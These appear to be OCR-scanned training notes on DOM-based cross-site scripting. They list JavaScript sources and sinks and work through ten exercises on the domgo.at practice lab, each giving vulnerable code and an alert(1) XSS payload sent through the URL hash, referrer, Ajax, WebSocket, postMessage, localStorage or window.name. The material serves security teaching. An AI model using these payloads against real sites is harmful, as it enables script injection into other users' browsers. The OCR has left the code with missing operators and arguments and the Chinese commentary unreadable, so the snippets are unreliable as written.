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URL-BASED SOURCES

e |ocation

location.href
e |ocation.search

e |ocation.pathname
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NAVIGATION-BASED SOURCES

e windows.name

e document.referrer

COMMUNICATION SOURCES

e Ajax
¢ \Web Socket

e Window Message

STORAGE SOURCES

e Cookie
e |ocalStorage

e SessionStorage
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Sink
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JAVASCRIPT EXECUTION SINKS


https://domgo.at/cxss/sources/somevalue?param1=paramvalue#hashvalue

e eval
e setTimeout
e setinterval

e Function

HTML EXECUTION SINKS

e innerHTML()
e outerHTML()

e document.write()
JAVASCRIPT URI SINKS

e |ocation
e |ocation.href
¢ |ocation.replace()

¢ |ocation.assign()
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Exercise - 1(location.hash)

let hash location.hash;
if (hash.length > 1) {
let hashValueToUse = unescape(hash.substr(1));

let msg hashValueToUse 5
document.getElementById( ).innerHTML = msg;

location.hash3k BXuri# 5 127, B#ERINAER P, HARSHNEESAhtmitrZd .
payload:

https://domgo.at/cxss/example/1?payload=abcd&sp=x#%3Csvg/onload=alert(1)%3E

Exercise - 2(document.referrer)

document.referrer;
let paramValue unescape(getPayloadParamValueFromUrl(rfr));
if (paramValue.length 9) {
let msg paramValue 5
document.getElementById( ) .innerHTML msg;

} else {

document.getElementById( ) .innerHTML

>
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payload:
¥ Exercise - 1Z¥1E5H

https://domgo.at/cxss/example/1?payload=%3Csvg/onload=alert(1)%3E&sp=x#12345
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Introduction

Exercise - 3(Ajax)

let responseBody xhr.responseText;

let responeBodyObject = JSON.parse(responseBody);
let msg responeBodyObject.payload
document.getElementById( ) -innerHTML msg;

i \payload s #7#% 41 5 fi X processPayload(), Ki%—A-ajaxiE>R, 5ZFIpayloadH % &S AhtmiFr
payload:
DA AR B 46 B B 82 4R & + onload % 44 Sk AT 405 ! !

img src=x onerror=alert(1)

Exercise - 4(WebSocket)

let ws new WebSocket(webSocketUrl);
ws.onmessage = function (evt) {

let rawMsg evt.data;

let msgJson = JSON.parse(rawMsg);

let msg msgJson.payload
document.getElementById( ) .innerHTML
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4 https://domgo.at/ws & To client 25 v 22:39:56 15 .. 8080 2

5 https://domgo.at/ws = To server 21 V' 22:40:2415 .. 8080 2
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1 {
2 "payload”: "112233"
31

payload:
img src=x onerror=alert(1)

Exercise - 5(postMessage)

window.onmessage function (evt) {

let msgObj evt.data;
let msg msgObj.payload ;
document.getElementById( ) .innerHTML msg;

HFE D& EmessageliWr, %A payload/s il FiprocessPayload i £

window.onload function () {

processPayload();

i)

let processPayload function () {
let payload document.getElementById( ) .value;

frames[0].postMessage(payload, location.origin);

IR

7 247 & H R iEmessage, P2 A% Afpayload
payload:

img src=x onerror=alert(1)

Exercise - 6(localStorage)

let payloadValue = localStorage.getItem( , payload);
let msg payload 5

document.getElementById( ) .innerHTML msg;

MlocalStorage & 3k 5 key Npayload S ¥ 3 B N\ T H
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let processPayload function () {
let payload document.getElementById( ) .value;
localStorage.setItem( , payload);
readPayload();

payload:

img/src =x onerror=alert(1)

Exercise - 7(F £ H.<>)

let hash location.hash;

let hashValueToUse = hash.length > 1 ? unescape(hash.substr(1)) : hash;
hashValueToUse = hashValueToUse.replace(/</g, ).replace(/>/g,

let msg hashValueToUse 5
document.getElementById( ).innerHTML = msg;

58— R E AR, R <>BEAT T SRR S, S R TH AR PR E AL G BT R AT I A
payload:

https://domgo.at/cxss/example/7#

Exercise - 8(F 4 H.<>)

let hash location.hash;
let hashValueToUse hash.length 1 unescape(hash.substr(1)) : hash;

if (hashValueToUse.indexOf( ) 1) {
hashValueToUse = hashValueToUse.substr(hashValueToUse.indexOf ( )+1);

hashValueToUse = hashValueToUse.replace(/</g, ).replace(/>/g,

let msg hashValueToUse 5
document.getElementById( ) .innerHTML msg;

5 EXRAME, HhnT xtulb RS
payload:

https://domgo.at/cxss/example/8#user

Exercise - 9(window.name)

let hash location.hash;
let hashValueToUse hash.length unescape(hash.substr(1)) : hash;

if (hashValueToUse.indexOf( 1) {
hashValueToUse hashValueToUse.substr(hashValueToUse.indexOf(

if (hashValueToUse.length 1) {
hashValueToUse hashValueToUse.substr(e, 10);
hashValueToUse hashValueToUse.replace(/"/g, );
let windowValueToUse window.name.replace(/"/g, )5
let msg hashValueToUse + windowValueToUse
document.getElementById( ) .innerHTML = msg;
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payload:

» window.name

"ralert(1l)"

HTAERE T KERS, FEEREwindow.namefd f:alert(1)
Surlslocation.hashff {8 $f 4 56 R B .

https://domgo.at/cxss/example/9#user=javascript

Exercise - 10(location.href)

let urlParts location.href.split( );
if (urlParts.length 1) {

let queryString urlParts[1];

let queryParts queryString.split( )

let userId g

for (let i = @; i < queryParts.length; i++) {

let keyVal queryParts[i].split( )
if (keyVal.length 1) {
if (keyval[e]

userId = keyVal[1l];

break;

if (userId.startsWith( )) o

userId userId.substr(3, 10);

userId userId.replace(/"/g, );

let windowValueToUse = window.name.replace(/"/g,

let msg userId + windowValueToUse
document.getElementById( ).innerHTML = msg;

5 FRERME, FIHlocation.hrefRISHE, ZEuserlDHIF/FEEI =10, FHFR K E AN 105window.namedi 5 5 Ahtmlix
K rp

payload:

https://domgo.at/cxss/example/10?lang=en&user=ID-javascript&returnurl

window.name=":alert(1)"
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